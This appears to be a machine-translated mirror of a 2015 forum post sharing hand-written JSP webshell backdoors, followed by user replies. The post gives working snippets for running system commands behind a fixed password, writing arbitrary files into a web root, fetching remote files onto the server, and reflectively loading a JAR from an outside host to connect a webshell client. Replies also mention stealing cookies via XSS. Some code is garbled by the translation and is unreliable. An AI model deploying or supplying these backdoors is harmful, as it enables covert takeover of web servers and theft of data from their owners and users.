Ez a cikk egy tükör gépi fordítás, kérjük, kattintson ide, hogy ugorjon az eredeti cikkre.

Nézet: 14991|Válasz: 7

[Biztonsági eszközök] Kézzel írt JSP hátsó ajtó

[Linket másol]
Közzétéve 2015. 01. 02. 18:46:57 | | | |
Áthelyezve: http://p2j.cn/?p=1627
1. Rendszerparancsok végrehajtása:
Rendszerparancsokat futtatni visszhang nélkül:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
Kérés: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls
A végrehajtás után nem lesz visszhang, ami nagyon kényelmes a pattogó lövedékek számára.
A jelszó-ellenőrzés visszhangjai is vannak:
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();        int a = -1;        byte[] b = új bájt[2048];        out.print("<pre>");        while((a=in.read(b))!=-1){ out.println(új String(b));        } out.print("</pre>);    }%>
Kérés: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls

2. Kódoljuk be a stringet, és írd meg a megadott fájlba:
1:
<%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes();%>
Kérés: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234
Írj a webes könyvtárba:
<%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes();%>
Kérés: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234
2:
<%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
Kérés: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234
Írj a webes könyvtárba:
<%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
Kérés: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234
3: Töltsd le a távoli fájlt (ha nem használod az Apache io utils-t, nem tudod a bemeneti áramot bájttá konvertálni, így nagyon hosszú...)
<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();    byte[] b = új bájt[1024];    java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();    int a = -1;    míg ((a = in.read(b)) != -1) { baos.write(b, 0, a);    } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %>
Kérés: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png
Töltsd le a webes útra:
<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();    byte[] b = új bájt[1024];    java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();    int a = -1;    míg ((a = in.read(b)) != -1) { baos.write(b, 0, a);    } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %>
Kérés: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png
Négy: A visszatükröződés a külső üveget nevezi, tökéletesítse a hátsó ajtót
Ha nem tetszik a fent említett hátsó ajtó funkció túl gyenge és elavult, próbálkozhatsz ezzel:
<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})))).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%>
Kérés: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A

Konyhakés csatlakozás: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, jelszó 023.

Megoldás:
Használd a reflektorálást, hogy egy külső jar-t tegyél be a jelenlegi alkalmazásba, és a visszaverődés végrehajtja a kimeneti feldolgozási eredményt. request.getParameterMap() tartalmazza az összes kért paramétert. Mivel a külső jar csomag be van töltve, a szervernek hozzá kell férnie ehhez a jar címhez.




Előző:A TXT szövegfájl válsága
Következő:Java MD5 titkosítás, Base64 titkosítás és dekódolás A Java végrehajtja a rendszerparancs forráskódját
Közzétéve 2015. 01. 02. 20:17:30 |
Mostanában kutattam a JSP backdoor-t?
 Háziúr| Közzétéve 2015. 01. 02. 20:39:44 |
Admin közzétéve: 2015-1-2 20:17
Mostanában kutattam a JSP backdoor-t?

Láttad már a jsp-t egy mondatban? Megtaláltam, nem tanulmányoztam alaposan, nem értettem az xss-t, tegnap végre megkaptam a sütit, és nem tudom, hogyan módosítsam a süti feltöltését
Közzétéve 2015. 01. 02. 20:44:40 |
Delver_Si Közzétéve: 2015-1-2, 20:39
Láttad már a jsp-t egy mondatban? Megtaláltam, nem ástam mélyebbre, nem értettem az xss-t, tegnap végre megkaptam a sütit, nem tudom, hogyan módosítsam a cookit...

Nem az én sütiimet lopták el egy személyre szabott aláírási fájllal,,,

Használd a Firefox HackBar bővítményét
Közzétéve 2015. 01. 02. 20:48:57 |
Delver_Si Közzétéve: 2015-1-2, 20:39
Láttad már a jsp-t egy mondatban? Megtaláltam, nem ástam mélyebbre, nem értettem az xss-t, tegnap végre megkaptam a sütit, nem tudom, hogyan módosítsam a cookit...

Ghost Brother többfunkciós böngésző v1.0


鬼哥多功能浏览器v1.0.exe (72 KB, Letöltések száma: 7, Eladási ár: 1 Grain MB)
 Háziúr| Közzétéve 2015. 01. 02. 20:57:50 |
admin posztolva: 2015-1-2 20:44
Nem az én sütiimet lopták el egy személyre szabott aláírási fájllal,,,

Használd a Firefox HackBar bővítményét

Tegnap a szabad ajtó görcsös volt, nem tudtam csatlakozni, és nem tudtam belépni a Firefox áruházba.
 Háziúr| Közzétéve 2015. 01. 02. 20:59:01 |
admin posztolva: 2015-1-2 20:44
Nem az én sütiimet lopták el egy személyre szabott aláírási fájllal,,,

Használd a Firefox HackBar bővítményét

A DZ-nek nincs ilyen kiskapuja
Közzétéve 2015. 01. 02. 21:00:22 |
Delver_Si Közzétéve 2015-1-2 20:59
A DZ-nek nincs ilyen kiskapuja

Nem tudom, tesztelheted, ne rontsd el az adatbázisomat   

Mindannyian a Tor böngészőt használjuk, hogy kikerüljük a falat

Lemondás:
A Code Farmer Network által közzétett összes szoftver, programozási anyag vagy cikk kizárólag tanulási és kutatási célokra szolgál; A fenti tartalmat nem szabad kereskedelmi vagy illegális célokra használni, különben a felhasználók viselik az összes következményet. Az oldalon található információk az internetről származnak, és a szerzői jogi vitáknak semmi köze ehhez az oldalhoz. A fenti tartalmat a letöltés után 24 órán belül teljesen törölni kell a számítógépéről. Ha tetszik a program, kérjük, támogassa a valódi szoftvert, vásároljon regisztrációt, és szerezzen jobb hiteles szolgáltatásokat. Ha bármilyen jogsértés történik, kérjük, vegye fel velünk a kapcsolatot e-mailben.

Mail To:help@itsvse.com